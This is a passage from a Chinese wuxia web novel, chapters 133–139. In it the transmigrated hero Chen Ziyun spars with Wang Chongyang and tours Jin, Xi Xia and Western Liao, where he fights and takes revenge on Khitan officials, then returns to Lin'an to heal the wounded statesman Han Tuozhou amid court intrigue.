“真人放心,我并没有直接传受他武功,尤其是那种速成的有伤身体的功夫。他现在练的还是那些基本的剑招。 嘿嘿,不过如果你有空去看看他练剑的样子,应该会有惊喜的。” 陈子云解释了一句。 “如此就多谢小友了。” 王重阳舒了口气,他刚才是真的担心陈子云把那些速成武学传人了,他心中终究还是过不了自己的这一关。 他本来在起兵抗金的时候,为了追求杀伤力自己也练过那种武学,结果就是杀人倒是利索了,可如今也让他满身的暗伤。 这也是为什么他要费尽心机创出先天功的一大原因,不过是为了补救自己这个满身漏洞的身体罢了。 “说不上谢,也只是我的一时心血来潮罢了。不过我在这里要告诉真人的是关于这个谢小子的另一件事情。 那就是他对于全真教的感激和对您这位师傅的崇拜。” 王重阳听陈子云这么说,明显的一愣。他从来都么有意识到这些,作为一个儒家出身的人,他本来就有着悲天悯人的同情心。收容这钟南山附近的村名当弟子也不觉得自己是做了什么,只觉得是正常不过的。 “真人可能不太了解,像谢小子这样的农家孩子能上全真教,对他或者说对他的家庭来讲意味着什么。 嗯,举个真人熟悉的例子,这就好比备考三年的秀才一朝中举,可能对于从来都没有见过举人老爷的谢小子来讲,比这还要激动些。” “这?” 王重阳很是诧异。 “所以啊,真人你完全不用担心,像谢小子这样的弟子,会不同意我刚才的计划。只要您开口,或者或者说全真教有需要,他们是绝对不会迟疑的。 也许这些毛头小伙子还更喜欢那种大开大合,更容易看得见自己进步的速成武学。” 陈子云说到这里就不说了,因为他相信王重阳已经完全明白他的意思了。 其实这也不是什么新鲜事,不过是仿造少林寺的达摩院,建立的一个以学武为重的独立系统罢了。 本以为王重阳会欣然的接受这个在陈子云看来完全是符合全真教利益的建议,没想到在王重阳长久的沉默之后,却是摇头。 “真人这是为何?” “多谢小友为我全真教费了如此心思,可这终究不是老道建立全真教的初衷。要是按照小友的说法,全真教固然可能会延绵长传,却失去了全真教的真意。 小友应该知道我全真教是以三教圆融、识心见性、独全其真为宗旨的。要是弟子们只知道练武斗狠,那还说什么识心见性,更不必说什么独全其真。 那这样的不修全真的弟子,又如何可以说是全真教的弟子,这样的全真教还是什么全真教!” 王重阳说话的语气越来越坚定,这些话听着好像不是在给陈子云做解释,反倒是像在说服他自己似的。 话说到了这里,陈子云自然也知道,无论自己再说什么王重阳也不会改变他自己心里的坚持了。 既然话没得说了,那就打呗,真理大多数时候都不是靠嘴说的。 所以到了后面几天,两人嘴上的交流少,手上的交流却是多了。 两人的切磋也没有避讳全真教的弟子,就在校场上。让包括周伯通跟全真七子在内的所有全真教弟子好好的看了一场,什么才是这世间顶级高手的过招。 普通弟子看着校场里模模糊糊的影子只能惊叹,全真七子勉强能从自己师父熟悉的招式里找到一些对自身武学的印证。 在场的也就是周伯通,这个顽童能真的看清楚陈子云跟王重阳过招时的精彩绝伦。 一个人在那里又蹦又跳,抓耳挠腮,想着冲上去跟陈子云过上两招,可还没等他动身,却发现陈子云的招法已然变了。 想去请教自己的师哥刚才临时展现出来的他也不曾见过的武学,可又发现自己师哥脸上竟然是从来没有过的认真。 连让他这个心性本来无所顾忌的顽童师弟都产生了十二分的敬畏。 陈子云跟王重阳的比试并没有分出什么胜负,两人虽然尽展所学,但毕竟不是生死搏杀,都留着手。 但是就这几天比下来,陈子云的形象已经在全真教上下的心中打下了一个牢固的烙印,这是一位不下于他们神仙一般的师傅的超级高手。 一个年轻跟他们差不多,可能还小一些的超级高手。他们心中对于陈子云的敬畏瞬间拔高到了一个匪夷所思的程度。 也许在有些小弟子看来,陈子云甚至要比他们师傅还厉害,毕竟年轻就是一切啊。 等陈子云告辞离开的时候,送行的人里有两人是表情特别的。一个是丘处机,他脸上有些歉意与懊悔,那是自从看了陈子云与王重阳的比试之后,就一直挂在他脸上的。 丘处机本来就是一个武痴,对于高深的武学以及练就高深武学的人,本能的带着敬畏。 当他明白陈子云武学的高度的时候,自然也想到了对方要是真的想收拾他是多么的容易,这让他觉得自己就像是个小丑一般。 还自以为是的监视了陈子云那么些天,简直就是坐井观天。面对陈子云这样的高手,就要给出相当的尊敬。 第一百三十四章 环国游 第二个是自发来送陈子云的谢小子,这家伙如今也是大大不同了,眼神里没有了当初初见时的那种迷茫。 星星点点神光在他的眼光中闪烁,就像是一个剑客出剑时的锋芒,原来谢小子已经得了剑术的几分真意。 他是全真教里众人里对陈子云最为感激的,陈子云的出现可以说是彻底改变了他原本的命运,让他看到了一道常人万万难以见到的风景。 他也是万分的不舍的,谢小子还希望陈子云能一直待在这里,哪怕不再指导他练剑。 只要有这样的一个标杆在,谢小子就有足够的勇气在那条自己快要摸到的道路上一直前行。 陈子云看了一眼王重阳,发现对方看着谢小子的眼神有些特别,也明白对方肯定是看过了谢小子练剑的场景。 至于后面王重阳会不会制止谢小子这样练,这样违背了全真教教义的练法,那就不是陈子云这个外人该操心的了。 ...... 陈子云离开了终南山,开始在金国游荡。这个由一代枭雄完颜阿骨打所建立的女真王朝,虽然只有一百来年的国祚,却也有其不可忽视的历史地位。 金朝鼎盛时期疆域包括东北、华北、关中以及俄罗斯远东地区。南至大散关至淮河一线,与南宋对峙;西北与西夏并立;东北地区达外兴安岭,东临日本海。 甚至连现在的北海道都被金国占据过。陈子云曾想,要是在这个时候,这大金再给力一点,利用大兴安岭的木材好好的造些远洋海船,是不是就能把已经尽在咫尺的日本给囊括到华夏版图里来? 这个时候的日本可挡不住这些从白山黑水之间出来的铁浮屠。不过意淫终究只是意淫,日本这样的岛国对于物资丰富的中华大地来讲,确实是有些看不上眼的。 大金的帝王们,也不会放着南方的大片土地不要,而去攻略这个飘在海外的岛屿。 所以高句丽被毫无障碍的拿下了,因为这本来就靠着女真人崛起的地方,面对金国的铁骑,高句丽根本没有反抗的能力。 这个杨广耗尽隋朝国力三次征伐都没有拿下的小国,终究拜倒在了大金的铁蹄之下。 陈子云看完了金国的风光就往西进入了西夏。这个由党项人建立的西北小国,从881年李思恭任定难军节度使起,摇摇晃晃的度过了将近三百五十年。相对于向来追求统一的中华大地来讲,简直就是一个奇迹。 不过这说回来,也是因为自唐以后,五代十国实在是大大的消耗了中华大地好不容易积累下来的元气。 而靠篡位得来的宋朝又是实行强干弱枝的国策,中央集权又被文人控制,百年来也没能出个带的起兵的武将,又如何能指望他们收复九州呢。 西夏疆域范围在今宁夏、甘肃、青海东北部、内蒙古西部以及陕西北部地区,占地两万余里。 到这里陈子云倒是更加觉得亲切了,毕竟他在倚天建立的第一个示范村,就是在西域附近。 当年他还带着黄柏年他们一起在这里厮混过一段时间,当时主要也是为了让他们尽快的熟悉江湖。 可这时间一晃就已经十几年过去了,陈子云此时就像是一个回忆往昔的老人一般,在每个曾经来过的,现在看着又有些相似的地方停留。 后面陈子云又继续的走遍了蒙古、西辽、吐蕃诸部,最后由大理返回了南宋。这一趟算是环华夏的旅行足足用了陈子云将近一年半的时间,主要也是因为他信马由缰的心态。 要是再路上碰到什么好玩的,好吃的;或者是可气的,可恨的事情,总是要耽搁几天的。 有一段时间,大概是在宁夏往西一些的地方,他就像是入迷似的喜欢上了吃那里的羊肉。 不管是烤全羊,还是手抓羊肉,陈子云好像是从来没有吃过羊肉似的,就在那个地方流连忘返了。 等他把当地所有有名气的羊肉馆子都吃遍了,把所有的羊肉的做法都学会了才带着一身就是原住民都没有他浓厚的羊膻味离开了那里。 陈子云在那不久之后,进入了西辽,也在这里他遇到了这场环国旅行最惊险的一次。 起因不过是一个辽国的契丹官僚与汉族的老妈妈的纷争。 西辽既继承了喀喇汗王朝的基础,又为辽朝的继续,所以西辽的官制基本上是沿用喀喇汗王朝与辽朝的官制,而对附庸国则保存了其原有的制度。西辽王朝继承辽朝的两部制:“官分南、北,以国制治契丹,以汉制待汉人”。 “北面治宫帐、部族、属国之政;南面治汉人州县、租赋、军马之事”。定居的农业民族按地区管理,设置州县,中央设南面朝官总理军政事务;流动的畜牧民族,以部族为行政单位,设官统治,中央设北面朝官总领部族军政事务。 可以说西辽就是典型的一国两制的先行者,但是契丹族作为辽国的统治者,不可能真的跟附属的民族同等。 而陈子云不过是看着一个虬髯大汉与一个瘦弱老婆子起争端,随意的出手教训了一番。 哪里知道,这个吃了亏的契丹大汉竟然还是一个不小的军官,直接就让人调动了军队来围捕陈子云。 陈子云虽然有些诧异,但也不可能就这么服软,直接就开杀了。包括那个汉子在内的所有人都死在了他的相思小刀之下。 陈子云也知道不能待了,就赶紧离开,没想到自己还没出城门就发现已经又有契丹军士追上来了。 他虽然不怕,可也没必要跟这些家伙死磕,就想着先跑吧。可跑着跑着陈子云就发发现不对了,不仅后面追他的骑兵没有放弃,但凡是他路上的城池里都派派出了军队围捕他。 陈子云就像是个捅了马蜂窝的小贼,这些追兵宁可不要命也要用尾巴后面那根连着自己内脏的毒针扎他一下。 陈子云只好往大山里钻,在平原上与骑兵赛跑终究是太吃亏了。 第一百三十五章 韩侂胄遇刺 等陈子云彻底的脱离了军队的围捕的时候,他身上穿的衣服早就被沾染的血迹凝固后的红黑之色掩埋了。 马血,人血,当然大部分人血都是那些追捕陈子云的人的。可一道差点就扎穿了陈子云的枪伤还是让他心有余悸。要不是在生死一线之际用想起了九阴真经里的易经锻骨篇,将自己的胸膛硬生生的缩小了三分之一,他怕也是难以活下来了。 当然那个敢用长枪扎陈子云的那个年轻的将领,自然也被他用重手段一掌拍碎了胸膛。 他也是没有想到,在西辽的军中竟然隐藏着这样的枪法高手。以这个年轻将领是水准,就是放在江湖上也绝对是难得一见的好手。 起码比王重阳那几个宝贝徒弟——全真七子要厉害上不止一筹。 这一受伤,就让陈子云在西辽的荒山野林里足足待了两个月。要不是刚好学会了宁夏那边的烤全羊的方法,知道怎么利用野外的一些野果野花来给烤肉调味,陈子云估计要被活活给难吃死。 可千万不要觉得,那些什么野兔肉,野猪肉烤一烤就会好吃。没有香料去腥味,那简直就是魔鬼一般的味道。 而当陈子云完好无损的走出荒野的时候,他当然也不会放过西辽。他自然不会傻傻的回去找那个军官的家人报仇,陈子云还不至于这么肤浅。 既然是在西辽受的委屈,那就把仇怨都算到西辽官方的头上好了。 所以陈子云一路上只要遇见西辽的城池,直接就在半夜里找上城里最大的契丹族官僚,还有就是军队里的契丹将领。 在陈子云主动想执行暗杀的时候,别说这些普通人,就是张老道跟王重阳都得小心着。 陈子云杀完人也不想偷偷摸摸的,直接留下来一张纸条。一开始还会写一堆杀人报复的缘由,好让着西辽的统治者知道痛,享受报复的快感。 等后面西辽的官员都知道有个陈子云这个疯子在猎杀官僚的时候,他就只留下三个字“我来也”作为记号。 所以等陈子云出来西辽的时候,所有的西辽官僚都基本谈“我来也”三字就色变了,有些胆子小的,直接就辞官不做了。 听说当朝的西辽皇帝差点就把自己的玉雕金砌的办公桌给砸了。 ...... 当陈子云欣赏完大理国即使在这个已经是冬令时节都美艳遍地的风景,心满意足的进入了此时还属于南宋的两广区域。 “二爷,小人见过二爷。” 在陈子云还沉浸在回忆赏心悦事之中的时候,一个小二打扮的家伙突然就向他行礼了。 陈子云微微眯着眼打量这个人,不像是暗探之类的,从他沾满油渍的衣襟以及手掌中因为长久的重复劳做产生的特殊的老茧,这一切都表明这家伙确实是一个普通的酒楼里的小二而已。 “二爷,这酒楼是韩家的产业。小人因为活计方便接触客人也负责给临安收集些情报。 自从二爷失踪,上面就已经发下来了任务,要各地的韩家产业都注意寻找二爷的踪迹。 小的有幸见过一次二爷的画像,您可比画像里的俊伟多了。嘿嘿。” 小二谦卑的笑着,那腰都快低到陈子云的坐着的板凳上去了。 “嗯。” 既然被认出来了,陈子云也不想否认,但是他本来就不想再跟韩侂胄扯上什么关系,所以只是敷衍的应答了一声。 小二也是个善于察言观色的人物,自然也看出来陈子云并不想理会他。不过在他看来这也是正常,他们两人之间的阶层差距,一个好比是天上的云彩,一个不过是地里的烂泥。 可是那道命令以及上面标注着的奖金,实在是让他放不下这个天赐的良机。 “二爷,您老恕罪。您是老爷,小的本不该说些没眉眼的话。可上面确实是下了死命了,一旦发现您,一定要请您回去的。” 小二语气恳切哀婉,身体也几乎已经是半跪在了地上。 “我不姓韩。” 陈子云轻飘飘的说了一句,继续夹着面前的菜肴。 “噗通。” 小二那跪倒的膝盖,直接在木地板上砸出了一声脆响,周围的客人不知道是什么事情,纷纷投来好奇的目光。 “起来!” “二爷......” 陈子云皱着眉头,心里不由得不耐烦,韩侂胄真是会给自己找麻烦。 “结账。” 陈子云直接把银两扔在了桌子上,抬脚就走。 一个精瘦的脸上溜须的中老年男子,探头探脑的从一楼的楼梯口往上张望着。 那还在手上不曾放下的算盘,让所有人都知道,这位就是这酒楼的掌柜了。 “哎呦。” 瘦掌柜似乎看到了什么了不得的事物,直接把手里的算盘一丢,直接朝着陈子云迎了过来。 显然他也认出了陈子云的身份。 “爷啊,可算是找着您了,要是再没有您的消息,咱们老韩家可就要散了啊。” 这瘦掌柜明显就比小二熟络很多,应该是在韩家待的比较久的,有点像那个在临安开当铺的家伙,自称是韩家的人。 而这个年轻的小二,一看就是刚入韩家没多久的。 “爷,这里说话不方便,您跟小的来内室。六子,让厨房老马亲自掌勺,把我那块最好的天九翅给炖了。” 瘦掌柜一遍伸出手引着陈子云,还不忘吩咐店小二。 陈子云看了看瘦掌柜,又看看四周人们好奇的目光,知道今天是跑不了了,总不至于在这种场合跟这两人闹起来吧。 真是吃个饭的都不安生啊! 陈子云随着瘦掌柜来到了店铺的后面,这里应该是掌柜自己用的,收拾的挺干净,看着也更像个居室而不是客店了。 “有什话就说吧,我还有别的事情。” 陈子云用了最便宜的话表明自己马上要告辞。 “二爷,您可知道半个月前大老爷遇刺了。” 瘦掌柜语气里含着悲切与愤恨。 陈子云眉头一挑,虽然韩侂胄跟他没什么真的关系,可心里似乎有些憋闷,像是有什么东西卡着,不吐不快似的。 第一百三十六章 韩夫人 “他怎么样?” “根据临安传来的消息,老爷已经半个月没上朝了。大家伙都说是赵汝愚那王八蛋干的。 这狗东西不但破坏了老爷的计划,还在朝堂上说老爷的坏话,实在是该死至极。” 陈子云瞥了一眼神情激动的瘦掌柜,并没有说话。在他的记忆里,韩侂胄将来可是要成为一朝权相的,怎么会如此容易出事。 “放心吧,韩侂胄死不了的。” “呃,二爷?“ 瘦掌柜有些疑惑,不明白为什么陈子云会用这么不敬重的语气,还直呼自己哥哥的大名,不过这些事情不是他一个下人能问的。 “对了,二爷,现在大家都盼着您回临安主持大局呢。如今老爷情况不明,韩家可就没了主心骨了。 我听临安交好的那些老兄弟讲,他们这段时间可是受了不少其他府宅里的欺负,连生意都受了影响。” “回去?临安?我本来就不属于那里。” 陈子云淡淡的说道。 “啊,这?” 瘦掌柜更是迷糊了,心想这位二爷怎么尽说些没根没底的话。 “二爷,掌柜的......” 刚才那个小二匆匆的跑了进来,连请示都没有,即使他刚才并没有关门。可这还是让瘦掌柜非常的不舒服。脸上也开始泛青了,心中愤愤的想这不是让他在二爷眼里丢人吗。 “鬼叫什么。” 瘦掌柜低声喝道。心想要不是看在二爷的面子上,六子这小东西可不能这么轻易绕了,要不然这店里哪里还有规矩。 “掌柜的,是临安的消息,急件,红的。” 六子将手里的条子递了过来,可眼前的两个人他却不知道应该先给谁看。 以往自然是掌柜的,可现在有个二爷在,这可是他们的半个主人家啊。 瘦掌柜的也犹豫了,用眼神询问了陈子云,见对方似乎连眼皮都没动一下,就缓缓的接过了六子手里的消息,还不忘狠狠的瞪了对方一眼。 心想这还是要教训一下对方,就凭对方在认出二爷的第一时间没有通知到他,就是不可饶恕的过失。 可等他看清楚消息纸条上记录的信息时,直接脑子一片拔凉,什么六子啊,酒楼啊,甚至连自己也没了。 “老爷......病危......” 四个字哆哆嗦嗦的从瘦掌柜的嘴里呢喃出来。 陈子云的手忽然不由自主的动了一下,然后那张记录着红色加急消息的纸就到了他的眼前。 韩侂胄病危了?可这怎么可能?难道是自己的到来改变了历史?不,严格来说这里的历史也不是真的,那...... 想到这里,陈子云突然有些不安。他自认为并不是什么江湖大侠,对于行侠仗义,侠义为先的那一套也并不感冒,也许只有等他自己看不过眼的时候才会凭当时的心情决定帮不帮忙。 但是他有一个明显的弱点,就是对于与自己相关的人,哪怕这个只是名义上与他相关,他也无法真正的做到置身事外。 韩侂胄虽然可能就是自己这个身体的义兄,与实际上的陈子云基本没有什么关系。 但是他终究是受了对方的恩慧的,也确实是看到了对方对于在这个时代的韩子云的关爱。 也许是这具身体里的某种思想,也就是以前这位韩子云留下的什么,还在影响着他。 似乎如果这趟不回临安,就有一种将大难临头或者说是会终生难安的念头,不断的在冲击着他的思绪,让他不得安宁。 “备马。” “啊,什么......是,二爷。” 瘦掌柜先是一愣,似乎还没从这个噩耗中缓过来,随即明白陈子云是要准备回临安了。掌柜心里本来应该欣喜的,可想到韩家可能要树倒猢狲散了,又有些有气无力的回答道。 陈子云一人双马,日夜兼程的往临安赶。甚至连路过的城池他都没怎么进去,路上也基本是靠带的干粮充饥。 只有到马匹实在跑不动的时候或者身上没有吃食的时候才会进去换马和采购干粮。 这个时候他可没心思去打猎,而且打来的猎物又没办法直接吃,还要烹饪,这简直是浪费时间。 他可不想等自己千辛万苦赶到了临安,结果却是去给韩侂胄奔丧的。 整整四天三夜,陈子云带着满面的灰尘与风霜停在了气派依旧的韩府门前。 “二爷?” 门卫立即迎了上来,陈子云并不认识他,对方却显得很是激动。这东北大汉的眼里竟然还有些委屈的像是小孩找到大人时候的泪水。 “带我去见韩侂胄。” 陈子云知道这个时候是不能耽搁的。 在陈子云不怒自威的气势下,那门卫也没有啰嗦,直接跟门房招呼了一声,自己就带着陈子云进了内院。 其实这是不符合韩府的规矩的,他们这样的负责外院的下人是不能如此随意的进内院的。 可作为韩府大老爷的韩侂胄都倒下来,这府里的规矩自然也就松懈了。 在内院有个中年妇人迎了出来,雍容华贵的身姿,脸上却是满目的红丝与哀伤。 “二叔。” 那明明比陈子云大上不少的夫人,像是找到靠山一般的深情呼唤了一声,也像是想通过这一声把肩上所有的重担都卸下。 “老爷他......” “先带我去看看。” 陈子云自然猜到这位就是韩侂胄的夫人,也就是自己名义上的大嫂了。 “诶。” 陈子云一进房间,就闻到了一股浓烈至极的药味。 “怎么点着炭盆还不开窗?” 陈子云诧异的问道,这不是自杀标配吗?这韩侂胄不会是被一氧化碳熏中毒的吧。 “二叔,那不是炭盆,是老爷的药啊。老爷从三天前开始就不能吃药了,只能让大夫把药材烧着让老爷吸进去。” 韩夫人凄楚的说着,又开始抹眼泪了。 陈子云闻了闻,果然也发现里面确实有不少的药材味道。可听过胡青牛讲课的陈子云知道,这简直就是胡闹,一味药材在煎服的时候连火候都可能影响药效,何况是这样的烧,有用才见鬼了呢。 “把窗打开些。” 陈子云说着已经来到了这个饿的脱了形的韩侂胄面前。 第一百三十七章 治伤 脉搏已经是若有若无了。 陈子云直接用九阴真经中的疗伤篇开始向着韩侂胄体内输入。 “后面的七天七夜不要让任何人打扰我,饭菜麻烦韩......嫂嫂送进来,以防他......那些想对大哥不利的人有所察觉。” “他们敢!” 陈子云一愣,看着这位脸上已经有些细微皱纹却明显出生于显赫人家的嫂嫂。此时她露出来的决绝显然不是一个这个时代的普通妇女能够拥有的。 虽然说这个时代,朱熹的理学才刚刚开始萌芽,但是自古以来对于古代女性的地位是作为男性附庸这个定论是不可辩驳的。 所以,基本这个时代的女性虽然没有到达大门不出二门不迈的地步,但也绝不会出现赞扬强势性格女性的地步。 “二叔放心,绝不会有人来打搅的。就是......” 韩夫人还是有些担忧的看着陈子云,毕竟她只是个不懂武功的普通女人,并不能够理解,此时的陈子云在做什么,也不过是抱着死马当活马医的心态。 韩夫人在出阁之前,也算是读过些书的,自然也知道以那些医者的脸色,自己的老爷怕是凶多吉少了。 至于这所谓的烟熏药用,稍微有点常识的人都能看出其中的猫腻,这就好比现代医院的临终关怀一般。 要是不用药,家属就会觉得医院不作为;可用药呢,其实就是花钱买个心理安慰罢了。 “夫......人.......” “老爷?!” 韩夫人直接一把就扑向了哆哆嗦嗦张开满是热疮的双唇的韩侂胄。眼里即是惊喜,又是害怕。 “听.......听子云的,要是.......我......以后.......韩家.......子云.......” 韩侂胄的话虽然断断续续,但是陈子云知道,对方是想在这垂死之际托妻寄子了。 “现在别说话,嫂嫂,你让人去煮些参汤来。” 陈子云打断了韩侂胄继续说话的念头,他现在只是被自己的内力刺激了身体潜能才醒来的,要是过多的浪费精神体力,就是在透支生命。 “是是,二叔,参汤都温着,我这就叫人,不,我自己去拿。” 韩夫人不顾形象的着急忙慌的就往外小跑着。 “难为她了。” 韩侂胄眯缝着眼,这不是他不想睁开,而是实在没有力气。 “闭嘴。” 陈子云喝道。 韩侂胄似乎是怕似的,真的乖乖的闭上了嘴,可那嘴角露出来的一些愉悦的微笑,却让人不明所以。 “都快要死了,还笑。” 陈子云有些恨恨的说道。 韩侂胄没有回话,似乎又昏迷了过去。 剩下的七天里,陈子云的手掌始终没有离开过韩侂胄的身体。神情更是一刻也不敢放松,因为在他第一天回韩府的晚上,就察觉到有人在窥探这个房间。 绝对不是韩府的那些手下,而是一个功夫不差的高手,只是对方似乎有所顾忌,没有敢杀进来。 那个人在这七天里起码来了三次,最靠近的一次已经到了他们的房顶。要不是陈子云直接勉力发出一指惊退了对方,说不定对方已经决定要攻进来了。 在第三天的时候,韩侂胄已经能正常说话了,虽然身体还很虚弱,但是伤势已经稳定。 随着各种补药不要钱的往他身体里灌,韩侂胄脸上的神色好的出奇。但陈子云知道,这不过是被药味催发出来的表象,同时也是提前预支自己生命力的预兆。 不过韩侂胄对此似乎毫不在意。 “此刻还能活着就是老天的恩赐,至于以后,嘿嘿,那就看老天爷还收不收我韩节夫吧。” 自从那天起,韩侂胄就开始拉着陈子云商量朝堂上的事情,起初陈子云自然是不愿意的,毕竟朝堂什么的实在不是他的兴趣点。 可当韩侂胄说道,要是再有人害他,还不是要麻烦陈子云施救。 陈子云顿时也是脑袋大,感觉这个权相是赖上自己了。 韩侂胄没有给陈子云反驳的机会,就开始嘱咐韩夫人不要表露出自己身体康复的迹象,而是要准备他即将去世的样子。 甚至还让下人去准备白布这些发丧用的东西。 韩夫人收敛一番自己脸上的带着疲惫的笑意,马上就装出来一副即将丧夫的悲惨面容。 看的陈子云也是啧啧称奇。 “子云,你可不要小看你的这位嫂嫂,虽然她没能给我韩家传子嗣,可终究是宪圣慈烈皇后的侄女,宫廷里头的那套东西,她可是知道不少的。 这样的手段不过是小儿科,要是真让她发起狠来。也就是我如果我真的死了,估计皇帝陛下的后宫都要不得安宁。呵呵。咳咳。” 韩侂胄身体好了些,竟然跟陈子云开起玩笑来。 等到来第七天,韩侂胄身体已经基本恢复来所有功能,除了这半个月被病的消瘦的身体无法立刻复原,他此时的精神已经不差了。 “子云,等等,不要把我完全治好。” 韩侂胄的要求让陈子云一愣。 “这次的事情想必你也能猜到是谁做的,既然如此,我为何不利用这违反了朝廷潜规则的行为博取管家的同情,狠狠的打对方一把。 也不枉我这一次死里逃生一场。” 陈子云立刻明白了对方的意思,也暗叹不愧是一代权相,时刻不忘记算计别人一把,哪怕是用自己的健康作为代价。 “这样可能会留下不可挽回的后遗症,值得吗?” “子云啊,你不愿意入朝,不就是看不惯这些蝇营狗苟的事情吗。可你也看到了,要是哥哥我没有你,此刻已经到阎王爷那里报道了。 这些人既然已经不想让我活了,我自然也不可能让他们活着。至于后遗症,先活过这一步,才有资格谈以后啊。” 韩侂胄说的似乎很平淡,但是陈子云还是听出了他内心的疲惫。谁也不可能做到在经历一次真正的生死之后,还能坦然自若的。 什么杀父夺妻之仇,能有杀自己的仇大吗? 陈子云答应了韩侂胄的要求,用二十四节气惊神指点遍了韩侂胄的周身大穴,生生的将九阴真经疗伤篇中七天七夜不能断开的要求强行终止了。 第一百三十八章 临安异相 只要韩侂胄能在第二天中午之前,再次接收到自己的内力,就能把这疗伤的效果续接上。 当然这样的强行打断,不可能没有后患,代价就是韩侂胄身体的永久性损伤,以及在离开陈子云真气的这段时间内,忍受身体内犹如万千针扎的痛苦。 当韩侂胄在韩夫人的亲自服侍下穿上了朝服,看着那个明明疼的满头大汗,连消瘦的脸颊都因为咬牙忍痛而显得狰狞的中年男子,陈子云突然有些敬佩对方了。 不同于对张老道跟王重阳的那种敬佩,是一个人为达目的敢于牺牲的敬佩。不管这个人的是非对错,光说这种精神意志就不是一般人能有的。 陈子云感觉自己似乎放出了一匹饿狼,一个魔鬼。准备这倒霉吧,不管是赵汝愚还是别的谁。 “你回来之后叫醒我。” 陈子云说完之后就直接垂下了脑袋,要不是韩侂胄先用手指在他的鼻子下察觉到了呼吸,看着就跟突然死去了一般。 这也不怪陈子云,从两广狂奔几千里,再连续七天不眠不休的救人,就是陈子云这样的宗师人物也快到底极限了。 瞬间的入睡,不过是他放开了对自己身体极限的压榨而已。 韩侂胄小心的将自己床上的一床被子盖在了陈子云的背上。 “夫人,将你陪嫁来的那朵天山雪莲拿出来吧,听说这东西除了解毒,对练武之人还有奇效。” “是,老爷。” 韩夫人没有丝毫的犹豫,这朵天山雪莲是他的姑母,也就是那位太后在他成婚的时候,从大内的宝库中精心挑选出来给她做陪嫁的。 据说是百年来天山山顶上最宝贵的一朵,因为这东西的药效一直不明确,也就没有医生敢给韩侂胄用。 “还有,等我回来,我们给子云物色一个出色的人物吧,他也该成家了。” “好好,都听老爷的。” 韩夫人现在哪里会违背韩侂胄的意思,只要他能好好的,其他的一切都不算什么。 经历过这一次生死,看开的不只是韩侂胄一个人。 “就不知道,哪家的姑娘能配得上我这弟弟啊。” 韩侂胄似乎是在想一件天大的事情,皱着眉头苦苦思索。 ...... 等陈子云再次睁开眼的时候,发现一张瘦的有些尖嘴猴腮摸样的老脸正盯着自己,像是在仔细的研究自己。 陈子云打量了一下透过窗户照进来的日头,看样子已经差不多到了第二天中午了。 “为什么不叫醒我。” 陈子云看着虽然脸上挂着牵强的笑,实际上疼的手都快把桌子角掰断的韩侂胄道。 “我听......听说了,你是几天几夜的从.....两广敢回来的......” 韩侂胄吐出的每一个字都似乎很辛苦。 “胡闹,你又不懂武功......” 陈子云本来还想教训几句这个自以为是的半大老头,可看着对方已经满布汗珠的额头,就直接上前一掌抵住了他的后心。 被陈子云自己封住的各处大穴纷纷打开,温润的柔和的内力再次输入韩侂胄的体内。 “啊......” 韩侂胄发出了一声像是冬日里刚入温泉池时的舒服的呻吟。 “这就是苦尽甘来了,人不疼的时候,从来都不知道从疼到不疼是这世界上最美妙的事情。” 韩侂胄这话说的,让陈子云听得感觉对方就是个受虐狂一般。 陈子云收功之后,发现韩侂胄已经睡过去了。这也难怪,就是正常人在忍受了这一天一夜非人的痛苦折磨之后,也会精疲力尽,何况是他这个大病初愈的。 陈子云有了这一天一夜的休眠,精神基本已经恢复,这就是内力高深之后的奇妙之处。 他施施然的走出了韩府的大门,这几天闷在韩侂胄那满是药味的房间里也是够了,自然要换换肺里的空气。 临安本来应该是难得见雪的,可陈子云却感觉到,如今临安城却沉浸在一种比融雪的时候还要凄冷的氛围之中。 街上稀少的几个路人相互的在偷偷的打量,似乎生怕每个路过自己旁边的人,会突然掏出一把刀子捅他似的。 就连本来应该叫卖声不断的小商贩,好似在昨天晚上被自己的婆姨统一的被毒哑了喉咙,竟然就这么静默的做着生意。 而那几个偶尔光顾的客人,宁可用手指和表情比划着表达他要买什么,也不愿意开口。 陈子云看的啧啧称奇,难道自己这是来到了一个哑巴世界。 不过这个问题,很快就有人帮他解惑了。 就是那个非要送他钱花的当铺钱掌柜。 钱掌柜整张肥脸都笑的皱在一起,就像是一朵沐浴秋日夕阳下的闪现着油光色彩的菊花。 “二爷,小的给你磕头了。” “钱掌柜.......” 陈子云刚要制止,就被钱掌柜惶恐声音打断了。 “哎呦喂,我的老爷啊。您这是要折煞小的啊,小的哪里当得起您这样的称呼。” 钱掌柜好像是听到了什么惊天的噩耗,本来还笑容满面一下子就变成了要寻死腻活的凄苦脸。 陈子云心里翻了一个白眼,不愧是能在这天子脚下掌管这第一号当铺的人物。 “老钱?” “诶,二爷,小的还没恭迎您回府呢。当然了,小的也没这个资格去府里,但是万幸,在这里碰着了,小的给您老磕头了。” 钱掌柜说着就又要拜倒。 陈子云轻轻在他肩膀上一拍,让他再也跪不下去,直接问道。 “这街上的人是怎么回事?一年半载不见,这临安城里的人都成了哑巴了?连商贩的嘴都不说话了?” 钱掌柜像是被陈子云的话戳中的喜穴,又是满脸的笑意。 “二爷啊,他们这是该的。您是不知道啊,就在这最近的一个月里,咱们韩家是过着什么样的日子。 不说那些平时也是大人物开的店铺可劲的欺辱咱们,就连这些小商小贩也敢在背地里议论。” 钱掌柜捏了捏他的胖拳头,挥舞了两下,似乎是在打街上的那些小人。 “现在好了,朝廷里再也没人敢惹咱们了。连官家都发话了,要是还敢陷害像我们老爷一样的忠良,就要抓起来充军。” 陈子云听到这里大概是明白了。 第一百三十九章 说媒 看来自己不在的这段时间里,韩侂胄是得罪了不少人,结果就被那些狗急跳墙的家伙给算计了。 本来都等着韩侂胄一命归西的同时,还打算把韩家的名声给毁了。看来不管是在哪个时代,杀人诛心都是差不多的操作。 可惜,自己这么一参合,加上韩侂胄带伤上朝演了这么一出,肯定是通过某种手段打了这些人一个措手不及。 而当今的官家,也许是真的明白自己可能是上了别人的当,也许是出于对韩侂胄这个表亲的同情,当然也可能是想弥补些什么。 就下达了一道安慰加略施惩戒的旨意,操弄起了帝王必备的权衡之术,将这段时间冒头的过于突出的那边势力给摁了下去。 陈子云摸摸自己光滑的下巴,恐怕这件事情韩侂胄不会就这么轻轻放下。 作为一个历史留名的权相,韩侂胄品性上可能有差,但是政治手段是绝对不会差的。 这样看来这临安城里的种种,不过是朝廷政治斗争的浪涛翻起的些许浪花。真正的大恐怖还深深的藏在汹涌的大海之下,等他重重的扬起再凶狠的拍下,那才是石破天惊的时刻。 不过这样的事情,陈子云向来是没有兴趣的,他想杀人直接一指一刀就够了,何必如此麻烦。 